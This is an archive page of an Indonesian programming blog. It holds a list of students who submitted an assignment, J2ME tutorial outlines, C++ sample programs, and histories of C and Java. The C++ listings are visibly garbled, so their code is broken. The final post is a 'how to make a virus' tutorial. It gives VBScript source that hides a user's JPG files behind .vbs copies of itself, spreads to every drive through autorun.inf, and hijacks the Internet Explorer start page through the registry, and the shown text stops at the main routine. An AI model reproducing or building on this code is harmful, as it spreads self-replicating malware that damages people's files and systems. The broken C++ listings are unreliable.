Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts

Wednesday, December 30, 2009

Update tugas

posted by : ilmutif.blogspot.com

Yang sudah mengumpulkan tugas makalah sampai hari rabu 30 desember 2009:

  1. kristiawan
  2. didi alfian
  3. khairi lestari
  4. suryanto
  5. ali busmar
  6. rendra dinata
  7. dewi ratnasari
  8. indah inzani
  9. raja syahroni
  10. desi ferawati
  11. robby lisfi
  12. m. ridho muslim
  13. IMELDA A.MUIS
  14. budi liyandra
  15. rusyidi syarif
  16. ulfiani
  17. fadli l hakim
  18. darni anggraini
  19. novreni anggraini
  20. gusmar rianto
  21. endriko martofori
  22. septian triwahyudi
  23. ramdaril

yang sudah ngumpul sampai tanggal 1 januari
  1. lia septi lestari
  2. khairni
  3. dani putra
  4. trinofendri
  5. misriyenti
  6. anang-christianto
  7. fritayola anggina
  8. reni fitri yani
  9. rully ramanda
  10. anggi gustini
  11. hasmiati
  12. juliandre adha
  13. fahrul syamsuar
  14. dwi sartika
  15. adek rafles
  16. yusuf amirat
  17. siti atikah sri rezki
  18. jumadi awis
  19. desi purnama sari
  20. saddan hasibuan
  21. agtori wandira
terima kasih buat yang sudah mengumpulkan. hardcopy nya dibawa pada pertemuan selanjutnya..

Tuesday, December 29, 2009

Tutorial lengkap pemrograman J2me

posted by : ilmutif.blogspot.com

pengen belajar pemrograman dan tutorial j2me yang lengkap mulai dari dasar?
tutorial pemrograman gratis ( free download ) dasar java dan j2me
Total tutorial ada 11 modul, untuk Download tutorial lengkap

Daftar Isi Tutorial:


1 Pengembangan Aplikasi Mobile

1.1 Tujuan
1.2 Perangkat Mobile
1.3 Gambaran J2ME
1.3.1 Platform Java
1.3.2 Gambaran J2ME
1.3.3 Configuration
1.3.4 Profile
1.4 CLDC
1.4.1 Fitur yang Hilang
1.4.2 Karakteristik perangkat CLDC
1.4.3 Verifikasi Class
1.4.4 Generic Connection Framework
1.5 CDC
1.6 JTWI
1.7 MIDP
1.8 MIDlet
1.8.1 Siklus MIDlet
1.8.2 MIDlet suites
1.9 Latihan
1.9.1 Apa keuntungan menggunakan java sebagai pengembang dan plaform
runtime untuk perangkat mobile?
1.9.2 Apa yang memotivasu anda untuk menulis program untuk perangkat
mobile?

2 Memulai Pemrograman Mobile

2.1
2.2 Pengenalan
2.3 “Hello, world!” MIDlet
2.4 Compilation dan Packaging MIDlets
2.5 Menggunakan Sun Wireless Toolkit
2.6 Menggunakan NetBeans mobility Pack
2.7 Latihan
2.7.1 Multiple MIDlets dalam satu MIDlet suite
2.7.2 Multiple MIDlets dalam satu MIDlet suite menggunakan Wireless Toolkit

3 High Level User Interface

3.1 Tujuan
3.2 MIDP User Interface
3.2.1 Display
3.2.2 Displayable
3.2.3 Title
3.2.4 Command
3.2.5 CommandListener
3.2.6 Ticker
3.2.7 Screen
3.2.8 Item
3.3 Alert
3.4 List
3.5 Text Box
3.6 Form
3.7 ChoiceGroup
3.8 Date Field
3.9 String Item
3.10 Image Item
3.11 Text Field
3.12 Latihan
3.12.1 List Dinamis

4 Low Level User Interface

4.1 Tujuan
4.2 Pengenalan
4.3 Canvas
4.3.1 Sistem Koordinat
4.3.2 “Hello, World!”
4.3.3 Perintah
4.3.4 Event Key
4.3.5 Aksi Permainan
4.3.6 Event Pointer
4.4 Grafik
4.4.1 Warna
4.4.2 Huruf
4.4.3 Style Coretan
4.4.4 Clipping
4.4.5 Anchor Points
4.4.6 Menggambar Text
4.4.7 Menggambar Garis
4.4.8 Menggambar Kotak
4.4.9 Menggambar Sudut
4.4.10 Melukis Gambar
4.5 Game API
4.5.1 Game API
4.5.2 Layers
4.5.3 Sprites
4.5.4 LayerManager
4.6 Scalable 2D Graphics
4.7 Latihan
4.7.1 Key Codes
4.7.2 Palindrome
4.7.3 Notepad

5 Persistence

5.1 Tujuan
5.2 Record Store
5.3 Record Enumeration
5.4 Record Comparator
5.5 Record Filter
5.6 Record Listener
5.7 Latihan
5.7.1 Penyimpanan Pilihan

6 Jaringan

6.1 Generic Connection Framework
6.1.1 Hirarki dari GCF Interface
6.1.2 GCF Connection URL
6.2 Koneksi HTTP
6.2.1 Protokol HTTP
6.2.2 Menciptakan sebuah koneksi HTTP
6.2.3 Handling HTTP Redirects
6.3 Koneksi HTTPS
6.4 TCP Sockets
6.5 Server Sockets
6.6 Datagrams
6.7 Latihan
6.7.1 Mendapatkan URL

7 Security

7.1 Tujuan
7.2 Dasar Security
7.3 J2ME Security
7.4 Menggunakan Security dan Trust Services API(SATSA)
7.5 Latihan

8 Web Services

8.1 Tujuan
8.2 Pengenalan terhadap XML
8.2.1 Registrasi Listeners
8.3 Java APIs bagi XML
8.4 Web Services
8.5 J2ME Web Services API (WSA)
8.6 Membuat sebuah Mobile Web Service Client

9 Optimisasi

9.1 Tujuan
9.2 Optimisasi
9.3 Eksekusi Program
9.3.1 Gunakan StringBuffer sebagai pengganti String
9.3.2 Gunakan clipping area dalam manggambar
9.3.3 Hindari modifier yang sama
9.3.4 Lewatkan parameter sesedikit mungkin
9.3.5 Mengurangi pemanggilan method
9.3.6 Menunda semua inisialisasi
9.3.7 Gunakan Array sebagai pengganti collection
9.3.8 Menggunakan variabel lokal
9.4 Ukuran JAR
9.4.1 Gunakan Obfuscator
9.4.2 Memadatkan file JAR Anda
9.4.3 Hindari membuat class yang tidak perlu
9.4.4 Hindari membuat interfaces
9.4.5 Hindari inner dan anonymous class
9.4.6 Gunakan satu Listener untuk object yang ganda
9.4.7 Gunakan package default (package tanpa nama)
9.4.8 Batasi penggunaan dari initializer static
9.4.9 Menggabungkan gambar kedalam satu file
9.4.10 Bereksperimen dengan memampatkan gambar
9.4.11 Gunakan class yang belum diinstal
9.5 Jaringan
9.5.1 Gunakan thread yang terpisah
9.5.2 Memampatkan data jaringan
9.5.3 Mengurangi lalu lintas jaringan
9.6 Penggunaan Memori
9.6.1 Gunakan struktur data ringkas
9.6.2 Membebaskan object yang tidak terpakai untuk garbage collection
9.6.3 Jangan sering menggunakan layar on-the-fly
9.7 Latihan
9.7.1 Ide optimisasi lainnya

10 Optional Package

10.1 Tujuan
10.2 Pengenalan
10.2.1 The ServerSocket dan The Socket Class
10.2.2 The MultiCastSocket dan DatagramPacket Class
10.3 Mobile Media API (MMAPI)
10.3.1 Pembuatan Nada
10.3.2 Audio Playback
10.4 Wireless Messanging API (WMA)
10.4.1 Mengirim SMS
10.4.2 Menerima SMS
10.5 Penggunaan Bluetooth bagi komunikasi Wireless
10.6 Lokasi API
10.7 Latihan
10.7.1 Audio Player
10.7.2 SMS Auto-Responder

11 Topik-topik Tambahan

11.1 Tujuan
11.2 Timers
11.3 Push Functionality
11.4 Latihan
11.4.1 Time MIDlet

sumber : Java Education Network Indonesia, http://jeni.jardiknas.org/



KLIK DISINI




E-book gratis pemrograman dan tutorial j2me lengkap

Bab 1 Arsitektur J2ME


Bab 2 Membangun Midlet


Bab 3 Membuat High Level User Interface


Bab 4 Membuat Low Level User Interface


Bab 5 Pengembangan High and Low Level User Interface


Bab 6 Menggunakan Data dan Peralatan


Bab 7 Mengakses Data Dan Service Jaringan


Bab 8 Kontrol Media


Bab 9 MIDP Security


KLIK DISINI

Contoh coding C++ (part1)

posted by : ilmutif.blogspot.com

Persegi ajaib



#include
#include

void main() {
int kolom,baris,n,spasi;
do {
clrscr();
gotoxy(15,2); printf("Program Persegi Ajaib Punyaku");
gotoxy(3,5);
printf("Masukkan Panjang Sisi : "); scanf("%d",&n);
gotoxy(3,7); printf("Persegi dengan panjang sisi %d\n\n",n);
for(baris=1;baris<=n;baris++) { printf("* "); } printf("\n"); for(kolom=1;kolom<=n-2;kolom++) { printf("*"); for(spasi=1;spasi<=n*2-3;spasi++) { printf(" "); } printf("*\n"); } for(baris=1;baris<=n;baris++) { printf("* "); } gotoxy(3,23); printf("tekan tombol \"y\" untuk mengulang"); gotoxy(3,24); printf("tekan sembarang tombol untuk keluar"); } while(getch()=='y'); }

Binary Search Tree



#include
#include
#include

struct data{
int angka;
struct data *left, *right;
}*root = NULL;

void menu(void){
gotoxy(1,23); printf("+ to insert");
gotoxy(40,23); printf("- to seek and destroy");
gotoxy(1,24); printf("Esc to Exit");
}

void insert (struct data **p, int angka, int level){
level += 1;
if( level <> angka = angka;
(*p) -> left = (*p) -> right = NULL;
}
else if( angka < (*p)-> angka ){
insert(& (*p) -> left, angka, level);
}
else if( angka > (*p)-> angka ){
insert(& (*p) -> right, angka, level);
}
}
else{
textcolor(14);
gotoxy(1,25); cprintf("Level Tree telah mencapai Maksimum");
textcolor(7);
getch();
}
}

void clearall (struct data *p){
if(p==NULL) return;
clearall(p -> left);
clearall(p -> right);
free(p);
}

void cetak(struct data *p, int x, int y, int j){
if(p == NULL) return;
gotoxy(x,y);
printf("%d", p-> angka);

cetak(p -> left, x-j, y+2, j/2);
cetak(p -> right, x+j, y+2, j/2);
}

void preorder(struct data *p){
if(p==NULL) return;

printf("%d ", p->angka);
preorder(p -> left);
preorder(p -> right);
}

void inorder(struct data *p){
if(p==NULL) return;

inorder(p -> left);
printf("%d ", p->angka);
inorder(p -> right);
}

void postorder(struct data *p){
if(p==NULL) return;

postorder(p -> left);
postorder(p -> right);
printf("%d ", p->angka);
}

void print_order(void){
gotoxy(1,19); printf("PreOrder : "); preorder(root);
gotoxy(1,20); printf("InOrder : "); inorder(root);
gotoxy(1,21); printf("PostOrder : "); postorder(root);
}

void seekndestroy(struct data *p, int angka){
if( p == NULL) return;
else if( angka <> angka){
if( p -> left -> angka == angka){
clearall (p -> left);
p -> left = NULL;
}
else{
seekndestroy( p -> left, angka);
}
}
else if( angka > p -> angka){
if( p -> right -> angka == angka){
clearall (p -> right);
p -> right = NULL;
}
else{
seekndestroy( p -> right, angka);
}
}
}

void main(){
int tekan, angka;
do{
clrscr();
menu();
cetak(root, 40, 2, 20);
print_order();
tekan = getch();
switch(tekan){
case '+' : gotoxy(1,16); printf("Masukkan Angka : ");
scanf("%d",&angka);
insert(&root, angka,0);
break;

case '-' : gotoxy(1,16); printf("Masukkan Angka : ");
scanf("%d",&angka);
if(root == NULL){
textcolor(14);
gotoxy(1,25); cprintf("Tidak ada Data yang bisa dihapus");
textcolor(7);
getch();
}
else if(angka == root -> angka ){
textcolor(14);
gotoxy(1,25); cprintf("Root Tidak Boleh Dihapus");
textcolor(7);
getch();
}
else if(root !=NULL){
seekndestroy(root, angka);
}
break;
}
}while(tekan != 27);
clearall(root);
}


bubble sort user


#include
#include

void main(){
int bil[5]={5,3,2,1,4};
int j,i,temp;
for(i=0;i<5;i++) j="0;j<4;j++)" i="0;i<4-j;i++)">bil[i+1])
{temp=bil[i];
bil[i]=bil[i+1];
bil[i+1]=temp;
}
}
}
for(i=0;i<5;i++)
printf("%d ",bil[i]);
getch();
}

Friday, December 11, 2009

posted by : ilmutif.blogspot.com

SEJARAH BAHASA C++

Tahun 1978, Brian W. Kerninghan & Dennis M. Ritchie dari AT & T Laboratories mengembangkan bahasa B menjadi bahasa C. Bahasa B yang diciptakan oleh Ken Thompson sebenarnya merupakan pengembangan dari bahasa BCPL ( Basic Combined Programming Language ) yang diciptakan oleh Martin Richard.

Sejak tahun 1980, bahasa C banyak digunakan pemrogram di Eropa yang sebelumnya menggunakan bahasa B dan BCPL. Dalam perkembangannya, bahasa C menjadi bahasa paling populer diantara bahasa lainnya, seperti PASCAL, BASIC, FORTRAN.

Tahun 1989, dunia pemrograman C mengalami peristiwa penting dengan dikeluarkannya standar bahasa C oleh American National Standards Institute (ANSI). Bahasa C yang diciptakan Kerninghan & Ritchie kemudian dikenal dengan nama ANSI C.

Saturday, March 21, 2009

Tutorial membuat program java (J2ME) di HP

posted by : www.puputs.com
repost by : ilmutif.blogspot.com

J2ME sendiri adalah teknologi dari Java programming language yang di khususkan untuk perangkat mobile seperti Handphone, Pocket PC dan apa lagi yah. Pokoknya buat perangkat kecil yang sering dibawa kemana-mana itu lho. J2ME sebenarnya sama dengan pemrograman menggunakan java sendiri, hanya saja dalam J2ME ada beberapa fungsionalitas yang ditambah dan dikurangi dan di sesuaikan untuk pemrograman perangkat mobile.

Tentunya untuk bisa membuat game di HP kita harus sudah biasa dulu menggunakan pemrograman dengan java, disini saya tidak akan mengulas bahasa pemrograman java -mungkin lain kali dalam postingan yang berbeda- saya mengharapkan anda sudah memiliki pengetahuan java sebelumnya. Disini saya hanya akan memberikan pengetahuan mengenai alat yang digunakan dalam membuat program java di HP dan konsepnya.

Untuk alatnya saya menggunakan IDE(Integrated Development Environment) NetBeans versi 6 yang bisa di download gratis di sini, pilih NetBeans yang sudah termasuk Mobility Pack. Agar kita bisa langusng menulis kode program tanpa harus menginstal macem-macem lagi.

Setelah anda menginstall IDE NetBeans, segera jalankan NetBeans nya. Untuk membuat projek baru pilih File-New Project. Nanti akan muncul seperti gambar di bawah.

Tutorial j2me

Pilih MIDP Application dan tekan Next. Selanjutnya anda akan di bawa ke layer Name and Location seperti di bawah ini.

Tutorial j2me

Input Project Name yang sesuai dengan nama project anda dan hilangkan centang di Create Hello Midlet. Tekan Next

Tutorial j2me

Ini adalah layar untuk menentukan target perangkat yang akan anda buat aplikasinya. Pada baris Emulator Platform adalah pilihan emulator yang anda Install di computer anda, untuk saat ini anda hanya menginstall emulator bawaan dari NetBeans anda. Setelah anda merasa perlu menginstall emulator platform untuk spesifik dari vendor lain seperti Nokia, Sony Ericsson dan Motorola anda dapat mengubahnya disini.

Device adalah perangkat emulator atau HP yang nantinya akan anda jalankan di computer anda, dalam menjalankan program yang akan anda buat. Apabila nantinya anda menginstal emulator platform dari vendor lain anda akan bisa menggunakan HP spesifik dari vendor tersebut.

Device Configuration dan Profile adalah spesifik kemampuan dari paket perangkat yang akan anda jadikan target aplikasi anda, sebagai contoh saya punya HP K608 itu mempunyai spesifikasi CLDC 1.1 dan MIDP 2.0 artinya HP saya bisa menjalankan program dengan paket yang ada di CLDC 1.1 dan MIDP 2.0. Untuk lebih lanjut mengenai perangkat yang anda jadikat target riset lah dahulu dengan melihat spesifikasi HP atau perangkat target anda.

Untuk mempermudah anda mengerti, cukup bayangkan HP lama adalah MIDP 1.0 seperti nokia 6015 dan nokia yang gede dengan slidenya yang saya lupa apa mereknya dan HP lama lainnya. MIDP 2.0 HP baru seperti nokia N70, N73, SE K600, SEW800 dan lain lain. Karena MIDP 2.0 lebih banyak ada baiknya anda pilih MIDP 2.0 dan CLDC 1.1 untuk aplikasi kita kali ini.

Pilih Next dan langsung pilih Finish. Siap siap!

Sebenarnya dalam NetBeans ini anda dapat membuat aplikasi HP dengan Visual MIDlet yang ada dalam NetBeans ini, tetapi untuk lebih memahami secara mendalam konsep pembuatan aplikasi dalam J2ME disini saya tidak akan memakai Visual MIDlet.

Konsep program J2ME adalah sebagai berikut. Dalam J2ME kita harus akan membuat main class turunan dari class MIDlet, main class turunan dari MIDlet tersebut yag nantinya akan dipanggil pertama kali saat applikasi kita berjalan di HP, dalam main class tersebut juga ada 3 method yang nantinya berfungsi sebagai trigger even dari HP kita. Seperti:

starApp(), method yang dipanggil apabila aplikasi kita pertama kali jalan.
pauseApp(), method yang dipanggil apabila pengguna hp mempause aplikasi kita.
destroyApp(), method yang dipanggil apabila pengguna hp menutup aplikasi kita.

Kita mulai dengan membuat classMIDlet baru untuk project anda. Klik kanan para project anda di project explore dan pilih new-MIDlet, namakan class baru itu dengan nama MIDletPertama. Kode terakhir file MIDlet anda terlihat seperti di bawah ini.

Tutorial j2me

Untuk pertama kali kita akan menampilkan “Hello J2ME World” pada layar HP. Ada dua jenis tampilan dalam MIDlet,

Low Level menggunakan class Canvas

High Level menggunakan Form

Disini kita akan menggunakan form untuk mempermudah anda mengerti pembentukan tampilan di MIDlet.

Tutorial j2me

Perhatikan kode di atas, frPertama adalah object Form yang akan kita tampilkan di layer, kita memberi judulForm tersebut dengan “Judul”. Lalu method append adalah method untuk menambahkan Item pada Form, Item yang ingin saya tambahkan adalah String “Hello J2ME World”. Statement Display adalah statement untuk menampilkan object frPertama kedalam layer.

Pilih F11 untuk build project dan F6 untuk run project.

Pilih midlet yang ingin dijalankan dan tekan launch di emulator, selanjutnya emulator anda akan menampilkan Form yang anda buat, seperti di bawah.

Tutorial j2me

Selamat, program anda sudah berjalan baik di emulator, bagaimana caranya menjalankan di HP sesungguhnya?

Masuk kedalam folder project NetBeans anda, buka folder dist

Tutorial j2me

Transfer file jar program anda ke HP anda melaluli Bluetooth, infra merah atau kabel data

Tutorial j2me

Selamat mencoba. Kalau ada pertanyaan silahkan masukan pertanyaan anda di comment blog ini.

Download Source Code Mario Air [J2ME]

sejarah J2ME

posted by : ilmutif.blogspot.com

Bahasa pemrograman java dibuat pada tahun 1991 oleh James Gosling, seorang ahli pemrograman yang bekerja di Sun Microsystem. Awalnya bahasa pemrograman ini diberi nama Oak. Yang mendapat inspirasi dari sebuah pohon yang berada di seberang kantornya. Akan tetapi nama Oak sendiri merupakan nama bahasa pemrograman yang telah ada sebelumnya, maka kemudian Sun mengganti namanya menjadi java. Nama java sendiri diinspirasi saat Gosling dan rekannya sedang menikmati secangkir kopi di sebuah kedai kopi yang kemudian dengan tidak sengaja salah satu dari mereka menyebutkan kata java yang mengandung arti kopi. Akhirnya mereka sepakat untuk memberikan nama bahasa pemrograman tersebut dengan java.

Karena pada awalnya java ditujukan untuk pemrograman peralatan sederhana atau kecil, java memiliki karakteristik berukuran kecil, efisien, dan portabel untuk berbagai piranti keras. Salah satu dari proyek pertama yang dikembangkan menggunakan java sebuah remote kontrol yang diberi nama Star 7.

Pada saat yang sama, World Wide Web dan Internet berkembang sangat cepat. Gosling menyadari bahwa java dapat digunakan untuk pemrograman Internet. Selanjutnya java diarahkan untuk perkembangan Internet.
Setelah melalui beberapa perubahan dan proses, Sun meluncurkan browser dari java yang disebut Hot Java yang mampu menjalankan applet. Teknologi ini kemudian diadopsi oleh Netscape. Beberapa waktu kemudian Internet Explorer juga mengadopsi teknologi tersebut, sehingga selain dapat dijalankan pada browser Netscape, program Java juga dapat dijalankan pada browser Internet Explorer.
Pada awal tahun 1996, Sun secara resmi meliris versi awal Java yang kemudian terus berkembang hingga muncul JDK 1.1 (Java Development Kit versi 1.1). Perkembangan terus dilakukan, sehingga muncul versi terbaru yang disebut dengan Java 2. Perubahan utama antara versi 2 dengan versi sebelumnya adalah adanya swing yang merupakan teknologi Graphical User Interface (GUI) yang mampu menghasilkan aplikasi desktop yang benar-benar portabel.
Pada tahun 1998-1999 diluncurkan teknologi Java yang berbasis Enterprise yang disebut J2EE (Java 2 Enterprise Edition). Kelebihan Java dalam lingkungan jaringan dan terdistribusi serta memiliki kemampuan multithreading, menjadikan Java cepat populer di lingkungan server.
Selain, teknologi berbasis server, applet, dan desktop, java juga mengembangkan teknologi berbasis mobile yaitu J2ME (Java 2 Micro Edition). Dengan J2ME ini, programmer dapat membuat aplikasi untuk perangkat bergerak / mobile.

Keyword: Sejarah, Java, Kopi, Oak, Sun, J2ME.



klik icon pdf diatas untuk mendapatkan artikel ini dalam format pdf.

Sejarah Perkembangan Java

posted by : ilmutif.blogspot.com

Java adalah bahasa pemrograman yang dapat dijalankan di berbagai komputer termasuk telepon genggam. Dikembangkan oleh Sun Microsystem dan diterbitkan tahun 1995.

Bahasa pemrogramanJava pertama lahir dari The Green Project, yang berjalan selama 18 bulan, dari awal tahun 1991 hingga musim panas 1992. Proyek tersebut belum menggunakan versi yang dinamakan Oak. Proyek ini dimotori oleh Patrick Naughton, Mike Sheridan,James Gosling dan Bill Joy, beserta sembilan pemrogram lainnya dari Sun Microsystem. Salah satu hasil proyek ini adalah maskot Duke yang dibuat oleh Joe Palrang.

Pertemuan proyek berlangsung di sebuah gedung perkantoran Sand Hill Road di Menlo Park. Sekitar musim panas 1992 proyek ini ditutup dengan menghasilkan sebuah program Java Oak pertama, yang ditujukan sebagai pengendali sebuah peralatan dengan teknologi layar sentuh (touch screen), seperti pada PDA sekarang ini. Teknologi baru ini dinamai “*7″ (Star Seven).

Setelah era Star Seven selesai, sebuah anak perusahaan TV kabel tertarik ditambah beberapa orang dari proyek The Green Project. Mereka memusatkan kegiatannya pada sebuah ruangan kantor di 100 Hamilton Avenue, Palo Alto.

Perusahaan baru ini bertambah maju: jumlah karyawan meningkat dalam waktu singkat dari 13 menjadi 70 orang. Pada rentang waktu ini juga ditetapkan pemakaian Internet sebagai medium yang menjembatani kerja dan ide di antara mereka. Pada awal tahun 1990-an, Internet masih merupakan rintisan, yang dipakai hanya di kalangan akademisi dan militer.

Mereka menjadikan perambah (browser) Mosaic sebagai landasan awal untuk membuat perambah Java pertama yang dinamai Web Runner, terinsipirasi dari film 1980-an, Blade Runner. Pada perkembangan rilis pertama, Web Runner berganti nama menjadi Hot Java.

Pada sekitar bulan Maret 1995, untuk pertama kali kode sumber Java versi 1.0a2 dibuka. Kesuksesan mereka diikuti dengan untuk pemberitaan pertama kali pada surat kabar San Jose Mercury News pada tanggal 23 Mei 1995.

Sayang terjadi perpecahan di antara mereka suatu hari pada pukul 04.00 di sebuah ruangan hotel Sheraton Palace. Tiga dari pimpinan utama proyek, Eric Schmidt dan George Paolini dari Sun Microsystems bersama Marc Andreessen, membentuk Netscape.

Nama Oak, diambil dari pohon oak yang tumbuh di depan jendela ruangan kerja “bapak java”, James Gosling. Nama Oak ini tidak dipakai untuk versi release Java karena sebuah perangkat lunak sudah terdaftar dengan merek dagang tersebut, sehingga diambil nama penggantinya menjadi “Java”. Nama ini diambil dari kopi murni yang digiling langsung dari biji (kopi tubruk) kesukaan Gosling.

Versi Awal

Versi awal Java ditahun 1996 sudah merupakan versi release sehingga dinamakan Java Versi 1.0. Java versi ini menyertakan banyak paket standar awal yang terus dikembangkan pada versi selanjutnya:

  • java.lang

    : Peruntukan kelas elemen-elemen dasar.

  • java.io

    : Peruntukan kelas input dan output, termasuk penggunaan berkas.

  • java.util

    : Peruntukan kelas pelengkap seperti kelas struktur data dan kelas kelas penanggalan.

  • java.net

    : Peruntukan kelas TCP/IP, yang memungkinkan berkomunikasi dengan komputer lain menggunakan jaringan TCP/IP.

  • java.awt

    : Kelas dasar untuk aplikasi antarmuka dengan pengguna (GUI)

  • java.applet

    : Kelas dasar aplikasi antar muka untuk diterapkan pada penjelajah web.

Kelebihan

  • Multiplatform. Kelebihan utama dari Java ialah dapat dijalankan di beberapa platform / sistem operasi komputer, sesuai dengan prinsip tulis sekali, jalankan di mana saja. Dengan kelebihan ini pemrogram cukup menulis sebuah program Java dan dikompilasi (diubah, dari bahasa yang dimengerti manusia menjadi bahasa mesin / bytecode) sekali lalu hasilnya dapat dijalankan di atas beberapa platform tanpa perubahan. Kelebihan ini memungkinkan sebuah program berbasis java dikerjakan diatas operating system Linux tetapi dijalankan dengan baik di atas Microsoft Windows. Platform yang didukung sampai saat ini adalah Microsoft Windows, Linux, Mac OS dan Sun Solaris. Penyebanya adalah setiap sistem operasi menggunakan programnya sendiri-sendiri (yang dapat diunduh dari situs Java) untuk meninterpretasikan bytecode tersebut.
  • OOP (Object Oriented Programming - Pemrogram Berorientasi Objek) yang artinya semua aspek yang terdapat di Java adalah Objek. Java merupakan salah satu bahasa pemrograman berbasis oebjek secara murni. Semua tipe data diturunkan dari kelas dasar yang disebut Object. Hal ini sangat memudahkan pemrogram untuk mendesain, membuat, mengembangkan dan mengalokasi kesalahan sebuah program dengan basis Java secara cepat, tepat, mudah dan terorganisir. Kelebihan ini menjadikan Java sebagai salah satu bahasa pemograman termudah, bahkan untuk fungsi fungsi yang advance seperti komunikasi antara komputer sekalipun.
  • Perpustakaan Kelas Yang Lengkap, Java terkenal dengan kelengkapan library/Perpustakaan (kumpulan program program yang disertakan dalam pemrograman java) yang sangat memudahkan dalam penggunaan oleh para pemrogram untuk membangun aplikasinya. Kelengkapan perpustakaan ini ditambah dengan keberadaan komunitas Java yang besar yang terus menerus membuat perpustakaan-perpustakaan baru untuk melingkupi seluruh kebutuhan pembangunan aplikasi.
  • Bergaya C++, memiliki sintaks seperti bahasa pemrograman [C++] sehingga menarik banyak pemrogram C++ untuk pindah ke Java. Saat ini pengguna Java sangat banyak, sebagian besar adalah pemrogram C++ yang pindah ke Java. Universitas-universitas di Amerika juga mulai berpindah dengan mengajarkan Java kepada murid-murid yang baru karena lebih mudah dipahami oleh murid dan dapat berguna juga bagi mereka yang bukan mengambil jurusan komputer.

  • Pengumpulan sampah otomatis, memiliki fasilitas pengaturan penggunaan memori sehingga para pemrogram tidak perlu melakukan pengaturan memori secara langsung (seperti halnya dalam bahasa C++ yang dipakai secara luas).

Kekurangan

  • Tulis sekali, perbaiki di mana saja - Masih ada beberapa hal yang tidak kompatibel antara platform satu dengan platform lain. UntukJ2SE, misalnya SWT-AWT bridge yang sampai sekarang tidak berfungsi pada MAc OS X.
  • Mudah didekompilasi. Dekompilasi adalah proses membalikkan dari kode jadi menjadi kode sumber. Ini dimungkinkan karena koe jadi Java merupakan bytecode yang menyimpan banyak atribut bahasa tingkat tinggi, seperti nama-nama kelas, metode, dan tipe data. Hal yang sama juga terjadi pada Microsoft.NET Platform. Dengan demikian, algoritma yang digunakan program akan lebih sulit disembunyikan dan mudah dibajak/direverse-engineer.
  • Penggunaan memori yang banyak. Penggunaan memori untuk program berbasis Java jauh lebih besar daripada bahasa tingkat tinggi generasi sebelumnya seperti C/C++ dan Pascal(lebih spesifik lagi, Delphi dan Objectc Pascal). Biasanya ini bukan merupakan masalah bagi pihak yang menggunakan teknologi terbaru (karena trend memori terpasang makin murah), tetapi menjadi masalah bagi mereka yang masih harus berkutat dengan mesin komputer berumur lebih dari 4 tahun.

Saturday, January 10, 2009

membuat virus dengan VB

posted by :ilmutif.blogspot.com

Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke
dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.
Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario
virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan
merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut
terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat
restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet
Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(”")
filehtml.WriteLine(”")
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(”")
filehtml.WriteLine(”")
filehtml.WriteLine(”")
filehtml.WriteLine(”")
filehtml.WriteLine(”")
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(”")
filehtml.WriteLine(”")
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next

For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk

